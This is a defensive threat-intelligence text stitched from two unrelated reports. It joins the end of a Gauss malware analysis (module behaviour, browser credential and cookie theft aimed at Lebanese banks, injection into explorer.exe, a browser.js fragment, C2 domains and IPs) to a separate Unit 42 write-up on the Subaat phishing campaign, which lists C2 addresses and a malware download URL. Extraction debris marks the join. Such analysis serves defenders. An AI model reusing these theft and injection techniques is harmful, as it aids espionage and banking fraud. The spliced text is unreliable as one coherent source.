OriginalFilename:   lanhlp32.ocx ProductName:        Microsoft Windows Operating System ProductVersion:     5.1.3700.0 Version info lanhlp32.ocx 27 Devwiz.ocx Name of the module used in Gauss: Cosmos File names system32\devwiz.ocx Known MD5 CBB982032AED60B133225A2715D94458 Image Size 102 400 bytes Date of compilation 19.03.2012 Related files temp\ZM6AD3.tmp The module is a Windows DLL file with one exported function called RefreshDev.
It creates log file : WINDIR\temp\ZM6AD3.tmp The log file is not encrypted and starts with a magic number 0xF68B973D The module collects the following information and writes it to the log file : CMOS RAM contents Registry keys : [ HKLM\HARDWARE\DESCRIPTION\System ] SystemBiosVersion,SystemBiosDate [ HARDWARE\DESCRIPTION\System\BIOS ] BIOSVendor, BIOSVersion, BIOSReleaseDate, BaseBoardManufacturer, BaseBoardProduct, BaseBoardVersion, SystemFamily, SystemManufacturer, SystemProductName, SystemSKU, SystemVersion All retrieved information is written to the log file.
28 File Version:       5.1.2600.0 Product Version:    5.1.2600.0 File OS:            NT (WINDOWS32) File Type:          DRV File SubType:       DRV SOUND File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Windows Device Wizard FileVersion:        5.1.2600.0 InternalName:       devwiz.ocx LegalCopyright:      Microsoft Corporation.
All rights reserved.
OriginalFilename:   devwiz.ocx ProductName:        Microsoft Windows Operating System ProductVersion:     5.1.2600.0 Version info devwiz.ocx 29 Winshell.ocx Name of the module used in Gauss: Gauss File names system32\winshell.ocx Some known MD5 EF6451FDE3751F698B49C8D4975A58B5 7AC2799B5337B4BE54E5D5B03B214572 4FB4D2EB303160C5F419CEC2E9F57850 Image Size 405 504 (August 2011) 417 792 (October 2011) 401 408 (Dec 2011 - Jan 2012) Number of resources 6 Resources 121,122,123,124,125,126 Date of compilation 08.08.2011 03.10.2011 14.12.2011 05.01.2012 Related files temp\ws1bin.dat browser.js browser.xul fileio.js chrome.manifest lppd.dat install.rdf rssf.dat lfm.dat mppd.dat pddp.dat Creates events:  Global\SrvReportCondition, Global\DhwSyncEvent, Global\ShellSync Interestingly, all three variants of the module that we have analyzed contain information about the location and names of the original projects: Variant Path to project files August 2011 d:\projects\gauss October 2011 d:\projects\gauss_for_macis_2 Dec 2011-Jan 2012 c:\documents and settings\flamer\desktop\gauss_white_1 30 Contains encrypted debug information that includes the location and files of the project: c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\ Exceptions.h .\main.cpp .\Manager.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\SmartPtr.h .\Injector.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\gauss\../Utils/ComUtils.h .\History.cpp .\FirefoxPluginInstaller.cpp .\Telemetry.cpp .\Storage.cpp .\OsUtils.cpp .\ProcessSnapshot.cpp .\Event.cpp .\GaussThread.cpp .\Buffer.cpp .\RemoteMemoryBuffer.cpp .\File.cpp .\Mutex.cpp .\Waiter.cpp .\EveryoneSecurityAttributes.cpp .\Catcher.cpp .\BrowserConnector.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\minime\../Utils/SmartPtr.h .\Assigner.cpp .\IEAbstractElements.cpp .\FormExtractor.cpp .\COMAbstractDataTypes.cpp The debug information which was accidentally forgotten by the developers provides some interesting details.
For instance, the Windows username which compiled the project can be seen in the strings above as flamer.
31 DllMain starts a thread only if loaded by explorer.exe.
Writes log file: systemroot\Temp\ws1bin.dat.
Log file starts with magic number 0x0A86FD375, encrypted with 1-byte XOR 0x46.
Log file writer is guarded by mutex Global\ShellSyncCom.
Reads registry key : SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability ShutdownInterval  binary data Checks Windows version and, onWindows Vista and Windows 7, it accesses SystemDrive\Users.
On earlier versions, it uses SystemDrive\Documents and settings and gets list of directories there.
Export InitShellEx : Enumerates all entries in HKEY _ USERS, removes all entries in SOFTWARE\Mozilla\Mozilla\Firefox for each user, searches for its log ws1bin.dat and removes it.
Export SetWindowEvent : set event Global\DhwSyncEvent, wait for other thread to exit in 20 seconds, then terminate that thread.
Export ShellNotifyUser : returns 1 Export ShellNotifyUserEx : main export.
Starts its main thread that should be monitored by the event SetWindowEvent and returns.
Lists running processes and returns if evil.exe is running.
Additionally logs the presence of the following registry keys : HKLM\SOFTWARE\KasperskyLab\AVP6, HKLM\SOFTWARE\KasperskyLab\ protected\AVP7 Then it starts a loop searching for running instances of systemroot\explorer.exe.
If found, it injects systemroot\system32\winshell.ocx (own body) into that process.
It uses an interesting technique to inject itself into Explorer: it creates a remote thread with the address of LoadLibraryW API as its start address.
The path to its ocx file is passed to the function as lpParameter.
32 Telemetry: It retrieves and logs the following: Computer name Windows OS version List of running processes List of directories in PROGRAMFILES Version of Internet Explorer browser Primary domain name Network adapter information Searches for Cookies directory, retrieves all cookie files and writes their contents into its log.
Searches for cookies that contain the following strings: paypal mastercard eurocard visa americanexpress bankofbeirut eblf blombank byblosbank citibank fransabank yahoo creditlibanais amazon facebook gmail hotmail ebay maktoob Then, it retrieves Internet Explorer browsing history using IUrlHistoryStg::EnumUrls function, and tries to extract password and text fields from loaded pages.
The Firefox plugin is written in several files, all of them are extracted and decrypted from the resources of the module.
Resource Id File name of the Firefox Plugin component 121 browser.js 122 browser.xul 123 fileio.js 124 chrome.manifest 125 lppd.dat 126 install.rdf Appends Firefox configuration file prefs.js  with the following string, disabling Firefox select your add-ons window that is usually shown after each Firefox update: user _ pref(extensions.shownSelectionUI, true) 33 Installs the Firefox extension, on Windows Vista and Windows 7 into AppData\Roaming\Mozilla\Firefox\Profiles, on earlier versions into Application Data\Mozilla\Firefox\Profiles.
All files are written in a directory named a288cad4-7b24-43f8-9f4d-8e156305a8bc.
The Firefox extension extracts the following data: Browsing history Passwords (saved and entered by the user) Cookies.
The extension can be configured to look only for cookies of Google, Hotmail, Facebook, Yahoo const Cc  Components.classes const Ci  Components.interfaces const EXTENSION _ ID  a288cad4-7b24-43f8-9f4d-8e156305a8bc const EXTENSION _ PATH  DirIO.get(ProfD).path\\extensions\\ EXTENSION _ ID const QUERY _ ID  YlU/X1gFa2Isb1YkcFMnP18u 1kkb1goYFUO akAgY1ULa1EjYlU/X1gPXWMyc18xYGM0b1UxalEsYVYgX1Uha18q dVEna18lYWQiDgob2QubmklYWQiDEjYGIkb2MvXWMyc18xY FwoclUlWgPblUlb/oSY18uY1wkFkjYT8tRV4ocFYkcFMnPVwr P18u 1kkb2gublk/ const EXTENSION _ URL  about:addons const EXTENSION _ XUL  chrome://mozapps/content/extensions/ extensions.xul const ERROR _ FILE  rssf.dat const LOG _ FILE  lfm.dat const OUTPUT _ FILE  mppd.dat const VERSION _ FILE  lddp.dat const MAX _ FILE _ SIZE  Math.pow(2,20)10 const MEAN _ ROW _ SIZE  100 const MAX _ ROW _ COUNT  (1/3)(MAX _ FILE _ SIZE/MEAN _ ROW _ SIZE) Part of browser.js code 34 The Firefox extension writes several log files in its directory: Log file name Description rssf.dat Browsing history lfm.dat Log file mppd.dat Collected passwords pddp.dat Collected cookies File Version:       5.1.3700.0 Product Version:    5.1.3700.0 File OS:            NT (WINDOWS32) File Type:          DRV File SubType:       DRV SOUND File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    Microsoft Windows Shell Component FileVersion:        5.1.3700.0 InternalName:       winshell.ocx LegalCopyright:      Microsoft Corporation.
All rights reserved.
OriginalFilename:   winshell.ocx ProductName:        Microsoft Windows Operating System ProductVersion:     5.1.3700.0 Version info winshell.ocx 35 Windig.ocx Name of the module used in Gauss: Lagrange File names system32\windig.ocx Known MD5 DE2D0D6C340C75EB415F726338835125 Image Size 180 224 bytes Date of compilation 15.07.2011 Related files Fonts\ pldnrfn.ttf The module is a Windows DLL file with one exported function called GlobalDeleteAtomL.\ The module reads the registry key that is originally created by ShellHW module : HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability ShutdownInterval  binary data If the value is not present in the registry, it writes a random value into that key.
Then, it creates a new TrueType font file SystemRoot\fonts\pldnrfn.ttf (62 668 bytes long) from a template and using randomized data from the ShutdownInterval key.
The creation time of the font file is set to the creation time of the Arial font, SystemRoot\fonts\ARIAL.TTF.
Then, a custom font named Palida Narrow is registered in the system font storage using the AddFontResourceW API function.
The module also creates a registry value: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts Palida Narrow (TrueType)pldnrfn.ttf The purpose of the addition of this font is not yet known.
It appears to contain valid Western, Baltic and Turkish symbols.
36 Font information from Font Viewer File Version:       2001.12.4414.320 Product Version:    5.1.2600.5788 File OS:            WINDOWS32 File Type:          DLL File SubType:       UNKNOWN File Date:          00:00:00  00/00/0000 Language/Code Page: 1033/1200 CompanyName:        Microsoft Corporation FileDescription:    WIN32 Digital Library FileVersion:        2001.12.4414.320 LegalCopyright:     Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks:    Microsoft(R) is a registered trademark of Microsoft Corporation.
Windows(TM) is a trademark of Microsoft Corporation ProductName:        Microsoft Windows Operating System ProductVersion:     05.01.2600.5788 Version info windig.ocx 37 Gauss CC Information To upload data stolen from infected machines, Gauss uses a number of command-and-control servers predefined in its flexible configuration.
Figure 1 - Gauss encrypted CC information data Heres a look at the decrypted configuration data: Figure 2 - Gauss decrypted CC configuration data 38 In the example above, we can see the CC domains/hosts together with the name of the script (userhome.php) on the server which is used for communication.
Going through the multitude of Gauss samples, we identified several domains used as CC servers: .gowin7.com .secuurity.net .datajunction.org .bestcomputeradvisor.com .dotnetadvisor.info .guest-access.net Wmiqry.ocx 01.06.2011 dotnetadvisor.info bestcomputeradvisor.info datajunction.org guest-access.net 16.07.2011 .bestcomputeradvisor.info .guest-access.net 18.07.2011 .bestcomputeradvisor.info .guest-access.net 28.09.2011 .gowin7.com .secuurity.net 20.10.2011 .datajunction.org .dotnetadvisor.info 20.10.2011 .gowin7.com .secuurity.net Depending on the variant,  can be a or b or c  and so on.
For instance, a fully qualified hostname as in the example above is b.gowin7.com.
Most samples we have use .gowin7.com and .secuurity.net.
The domains gowin7.com and secuurity.net  have been registered by  an Adolph Dybevek, which is most likely a fake identity: owner-name: Adolph Dybevek owner-address: Prinsen gate 6 owner-city: Oslo admin-address: Prinsen gate 6 ICANN Registrar: UNITED-DOMAINS AG Created: 2012-03-15 Expires: 2013-03-15 Updated: 2012-03-15 39 As in the case of Flame these domain registration addresses point to existing businesses.
For example, at Prinsens Gate 6 in Olso, we find a hotel in Norway: Similarly, many of Flame CD domain fake registrations used addresses of hotels.
During the period of monitoring, we observed these two main domains pointing to two different servers in India and Portugal.
Based on passive DNS research, we identified three other servers, located in the US which appear to have been used as CC.
The hosts gowin7.com and secuurity.net   pointed to the following IP addresses: Date Domain IP 2012-06-28 23:05:35 b.gowin7.com 109.71.45.115 2012-06-29 07:05:28 (changed) b.gowin7.com 182.18.166.116 2012-06-28 23:05:38 b.secuurity.net 109.71.45.115 2012-06-29 07:05:29 (changed) b.secuurity.net 182.18.166.116 On 29th of June, 2012, the two CC domains gowin7.com and secuurity.net were changed from IP 109.71.45.115 to a new IP 182.18.166.116.
40 Both servers were shut down around July 13th, 2012.
Prior to shut down, we managed to collect important information.
Both appeared to be running Debian Linux, which is consistent with the Flame CC servers.
They were listening on ports 22, 80 and 443.
The SSL certificates were self-signed, once again, the same as in the case of Flame.
Heres the certificate for the server in Portugal: If we are to believe the information in the certificate, it was generated on 17 Feb 2012.
The server at 182.18.166.116 (India) appears to currently host two other related domains: bestcomputeradvisor.com dotnetadvisor.info Both have been registered by somebody named Gilles Renaud, probably another fake identity: Registrant: Gilles Renaud Neugasse 10 Zurich, Zurich 8005 CH 41 They were previously hosted in the US, at the IPs: 173.204.235.204 and 173.204.235.196.
We currently have seen samples which used e,g,h.bestcomputeradvisor.com and c.dotnetadvisor.info for command-and- control.
Its quite possible that other samples exist pointing to different hosts.
The additional domains  datajunction.org and guest-access.net can be found in some samples and it is also used for CC communications.
We currently have samples which use c.datajunction.org and d.datajunction.org but there are probably others using a. and b..
Both have been registered by somebody named Peter Kulmann, probably another fake identity: Registrant Name:Peter Kulmann Registrant Street1:Antala Staska 1301/19 Registrant Street2: Registrant Street3: Registrant City:Prague Registrant State/Province: Registrant Postal Code:14000 Registrant Country:CZ The address Antala Staska 1301/19 appears once again to be fake  pointing to a supermarket/pharmacy in Prague: Currently (as of August 2012), all the  .datajunction.org hosts point to the CC server in India.
Previously, they pointed to the server in Portugal.
Just like the others, they were previously hosted  in US.
In addition to these, we identified another domain named dataspotlight.net which was hosted on the same servers.
The registrant is unknown and we couldnt find any samples using it, however, it is probably related to the others.
42 Gauss C2 Domains Overview: In total, we have identified 7 domains used or related to the Gauss malware: Domain Registered by Currently hosted Previously hosted Older hosted: gowin7.com Adolph Dybevek India Portugal US secuurity.net Adolph Dybevek India Portugal US datajunction.org Peter Kulmann India Portugal US bestcomputeradvisor.com Gilles Renaud India Portugal US dotnetadvisor.info Gilles Renaud India Portugal US dataspotlight.net UNKNOWN India Portugal UNKNOWN guest-access.net Peter Kulmann No No No Domain registration history: Domain Registration date bestcomputeradvisor.com, dotnetadvisor.info 22 July 2011 datajunction.org.
guest-access.net 26 July 2011 gowin7.com, secuurity.net 15 March 2012 dataspotlight.net 18 April 2012 As  can be seen from the table above, four domains  were created in 2011 and were used in older samples.
The newer samples use gowin7.com and secuurity.net, which were registered on March 15th, 2012.
Known Gauss C2 server IPs: Server Location 182.18.166.116 India, Hyderabad 109.71.45.115 Portugal, Constancia 173.204.235.204 United States, San Francisco 173.204.235.196 United States, San Francisco 173.204.235.201 United States, San Francisco 43 Heres a comparison of the  Flame and Gauss C2 infrastructure: Flame Gauss Hosting VPS running Debian Linux VPS running Debian Linux Services available SSH, HTTP, HTTPS SSH, HTTP, HTTPS SSL certificate localhost.localdomain self signed localhost.localdomain self signed Registrant info Fake names Fake names Address of registrants Hotels, shops Hotels, shops C2 traffic protocol HTTPS HTTPS C2 traffic encryption None XOR 0xACDC C2 script names cgi-bin/counter.cgi, common/index.php userhome.php Number of C2 domains 100 6 Number of fake identities used to register domains 20 3 DNS Balancing For some of the C2s, the controllers used a technique known as DNS balancing or Round robin DNS (http://en.wikipedia.
org/wiki/Round-robin_DNS)  probably to even the load.
This is a common technique in the case of massive traffic to a website, suggesting that at their peak, the Gauss C2s were handling quite a lot of data.
Heres one such example of DNS balancing: QUESTION SECTION: DATAJUNCTION.ORG.
IN     A ANSWER SECTION: DATAJUNCTION.ORG.
900   IN     A     182.18.166.116 DATAJUNCTION.ORG.
3600   IN     A     173.204.235.204 DATAJUNCTION.ORG.
900   IN     A     109.71.45.115 As it can be seen, the domain datajunction.org resolves to three different IPs: 182.18.166.116, 173.204.235.204 and 109.71.45.115.
44 http://en.wikipedia.org/wiki/Round-robin_DNS http://en.wikipedia.org/wiki/Round-robin_DNS Timeline We tried to put together all the date-of-creation information for the different Gauss modules, as well as those for Flame and Duqu.
Since no Gauss modules created before 2011 have been found, the table below does not include earlier data for Flame and Duqu modules.
Module name (2011) Date of creation Malware advnetcfg.2 11.01.2011 Flame nteps32.2 11.01.2011 Flame authpack.1 23.01.2011 Flame mssecmgr.7 17.02.2011 Flame mssecmgr.9 21.03.2011 Flame msglu32.1 29.03.2011 Flame wmiqry32.1 01.06.2011 Gauss dskapi.32 res.1 30.06.2011 Gauss dskapi.64 res 30.06.2011 Gauss windig.1 15.07.2011 Gauss wmiqry32.2 16.07.2011 Gauss wmiqry32.3 18.07.2011 Gauss winshell.1 08.08.2011 Gauss mssecmgr.8 31.08.2011 Flame mcdmn.1 16.09.2011 Gauss smdk.1 27.09.2011 Gauss dskapi.1 28.09.2011 Gauss wmiqry32.4 28.09.2011 Gauss winshell.2 03.10.2011 Gauss msglu32.2 10.10.2011 Flame dskapi.2 13.10.2011 Gauss smdk.2 17.10.2011 Gauss igdkmd16b.sys 17.10.2011 Duqu wmiqry32.5 20.10.2011 Gauss lanhlp32.1 26.10.2011 Gauss dskapi.3 01.11.2011 Gauss soapr32.1 27.11.2011 Flame dskapi.4 29.11.2011 Gauss dskapi.32 res.2 29.11.2011 Gauss winshell.3 14.12.2011 Gauss Module name (2012) Date of creation Malware winshell.4 05.01.2012 Gauss mcd9x86.sys 23.02.2012 Duqu devwiz.1 19.03.2012 Gauss browse32.ocx 09.05.2012 Flame 45 Main modules Path wmiqry32.dll system\wbem wmihlp32.dll system\wbem dskapi.ocx system winshell.ocx system devwiz.ocx system lanhlp32.ocx system mcdmn.ocx system smdk.ocx system windig.ocx system system32.bin root folder USB drive system32.dat root folder USB drive .CatRoot.tmp root folder USB drive Data files and folders Path shw.tmp temp stm.tmp temp ws1bin.dat windir\Temp ws1bin.dat temp gdl.tmp temp mdk.tmp temp .thumbs.db root folder USB drive wabdat.dat temp desktop.ini inside folders on USB drive target.lnk inside folders on USB drive .Backup0[D-M] directory on USB drive .Backup00[D-M] directory on USB drive md.bak temp s61cs3.dat systemroot\Temp\ s61cs3.dat temp ZM6AD3.tmp windir\temp browser.js AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4- 7b2443f89f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc Files list We have put together the names of all modules, temporary files, log files and data files used by Gauss in one way or another and that are known to us.
46 browser.xul AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc fileio.js AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc chrome.manifest AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc lppd.dat AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc install.rdf AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc rssf.dat AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc lfm.dat AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc mppd.dat AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc pddp.dat AppData\Roaming\Mozilla\Firefox\Profiles\\a288cad4-7b24- 43f8-9f4d-8e156305a8bc AppData\Mozilla\Firefox\Profiles\\a288cad4-7b24-43f8- 9f4d-8e156305a8bc pldnrfn.ttf SystemRoot\fonts\ 47 Conclusion Gauss is the most recent development from the pool of cyber-espionage projects that includes Stuxnet, Flame and Duqu.
It was most likely created in mid-2011 and deployed for the first time in August-September 2011.
Its geographical distribution is unique the majority of infections were found in Lebanon, Palestine and Israel.
One of the modules from Jan 2012 contains the path c:\documents and settings\flamer\desktop\gauss_white_1.
The flamer in the path above is the Windows username that compiled the project.
Given the focus on Lebanon, the white version identifier can probably be explained as following: the name Lebanon comes from the Semitic root LBN, meaning white, likely a reference to the snow-capped Mount Lebanon.
(
Wikipedia) Code references and encryption subroutines, together with the Command and Control infrastructure make us believe Gauss was created by the same factory which produced Flame.
This indicates it is most likely a nation-state sponsored operation.
Between Gauss functions, the Winshell.ocx module which gives the name to the malware as Gauss, steals credentials required to access online banking accounts for several Lebanese banks  including the Bank of Beirut, Byblos Bank and Fransabank.
This is the first publicly known nation-state sponsored banking Trojan.
Another feature which makes Gauss unique is its encrypted payload, which we havent been able to unlock.
The payload is run by infected USB sticks and is designed to surgically target a certain system (or systems) which have a specific program installed.
One can only speculate on the purpose of this mysterious payload.
The discovery of Gauss indicates that there are probably many other related cyber-espionage malware in operation.
The current tensions in the Middle East are just signs of the intensity of these ongoing cyber-war and cyber-espionage campaigns.
48 _GoBack _GoBack Now _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack _GoBack Introduction Executive Summary Infection stats Operating System Statistics Architecture Comparison with Flame Wmiqry32/Wmihlp32.dll aka ShellHW Installation Operation Dskapi.ocx USB Payload thumbs.db file Smdk.ocx McDmn.ocx Lanhlp32.ocx Devwiz.ocx Winshell.ocx Windig.ocx Gauss CC Information Gauss C2 Domains Overview: DNS Balancing Timeline Files list Conclusion
By Unit 42 October 27, 2017 Tracking Subaat: Targeted Phishing Attack Leads to Threat Actors Repository researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat- actors-repository/ In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization.
While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.
Well discuss how we discovered it, as well as possible attribution towards the individual behind these attacks.
The Initial Attack Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a US- based government organization.
We observed a total of 43 emails with the following subject lines: Invention Invention Event Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file.
Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family.
The downloaders made use of the same shellcode, with minor variances witnessed between them.
Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode.
The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader.
The Excel document contained a UserForm that in turn contained three text boxes.
The embedded payload was hex-encoded and split between these three text boxes.
The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload.
Detailed information about these malware samples may be found in the appendix of this blog.
A curious aspect of this campaign is the use of Crimson Downloader in this email campaign.
To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date.
Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader.
That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political 1/17 https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/ https://researchcenter.paloaltonetworks.com/tag/QuasarRAT/ https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/Appendix https://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/ https://www.proofpoint.com/us/threat-insight/post/Operation-Transparent-Tribe http://blog.trendmicro.com/trendlabs-security-intelligence/indian-military-personnel-targeted-by-information-theft-campaign/ https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_1.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_2.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_3.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_4.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_5.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_6.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_7.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_8.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_9.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_10.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_11.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_12.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_13.png https://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/10/Subaat_14.png targets.
The connections we observed in this research leads us to believe there might be a connection between this most recent activity we observed and those campaigns.
However, there is not enough evidence to say so decisively.
Expanding the Scope from the Original Attacks When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart: 5.189.157[.
]215 Crimson Downloader connects to this IP address.
115.186.136[.
]237 QuasarRAT connects to this IP address.
subaat[.
]com (Resolves to 23.92.211[.
]186) RTFs download QuasarRAT from this host.
Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family.
Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader.
We observed a total of 16 unique Crimson Downloader samples starting in May of this year.
Moving onto the second IP address of 115.186.136[.
]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers.
The subaat[.
]com domain has historic WHOIS information from early 2016 that references a Pakistani location, as seen in the image below.
Additionally, it uses pkwebhost[.
]net for its DNS, which is a Pakistan-based hosting provider.
2/17 Figure 1 Historical WHOIS information for subaat[.
]com from early 2016 The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting.
The RTFs we observed in the original email campaign downloaded QuasarRAT from http://subaat[.
]com/files/sp.exe.
Checking this host led us to discover that directory listings were enabled.
We were able to discover a large repository of malware on this open server.
3/17 Figure 2 Open directory listing of subaat[.
]com Since beginning this research, this domain has been suspended by the hosting provider.
However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT.
4/17 Figure 3 Subaat returns after suspension In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts.
The chart below shows the malware families we identified: Figure 4 Malware families identified in web server repository As we can see from the above chart, a wealth of different malware families were stored on this web server.
Many of these malware families are considered to be commodity malware, or widely used by criminals.
Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few.
The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware.
A full list of SHA256 hashes associated with these samples may be found in the appendix.
5/17 https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/ https://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/ https://researchcenter.paloaltonetworks.com/2015/02/examining-cybercrime-underground-part-1-crypters/ https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/Appendix One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server.
Looking at the embedded configuration settings for these samples, we see that they are all similar.
The following example shows one of these configurations.
A script written in a previous blog post was used to generate the output below, it can be downloaded here.
Figure 5 Embedded configuration within LuminosityLink sample The email address shown above is used to register a customers copy of LuminosityLink.
All samples using this registered builder contain this email address.
We found all 20 of the identified LuminosityLink samples contained this same email address.
The primary domain shown above is registered to 115.186.136[.
]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications.
Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following: QuasarRAT LuminosityLink Meterpreter NJRAT RevengeRAT RemcosRAT We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service.
The account in question that claims to own this email address is none other than Subaat.
6/17 https://github.com/pan-unit42/public_tools/tree/master/luminositylink Figure 6 Subaat user mentioning the hotmail email address on HackForums Looking at this users profile below, we can see their posting history: a total of 14 posts in the past two years.
We also see a date of birth of 2/24/1990, stating that the individual is 27 years old.
Figure 7 Subaat profile information A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year.
This is in line with the campaign witnessed against a US-based government organization that took place on July 16 .th 7/17 The posts look to be related to various Office exploit builders and crypters.
This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.
]com.
Figure 8 Subaat posting history A Look Behind the Scenes Looking at logs for the subaat webserver between July 1  and July 20th shows the IP address of 115.186.136[.
]237 uploading and interacting with a number of malicious files.
We found interactions with a total of 64 unique files during this period.
Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified.
st 8/17 Figure 9 Interaction between attacker and web server As we can see from the chart above, a spike of activity took place in the July 11  to July 16 timeframe.
This again is consistent with the email campaign that took place in the midst of this period.
A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.
]237 as the C2.
Conclusion What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more.
By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address.
This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families.
While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actors malware.
We saw similarities this campaign and both the Operation Transparent Tribe and Operation C- Major campaigns.
Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line Operation Transparent Tribe.
However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor.
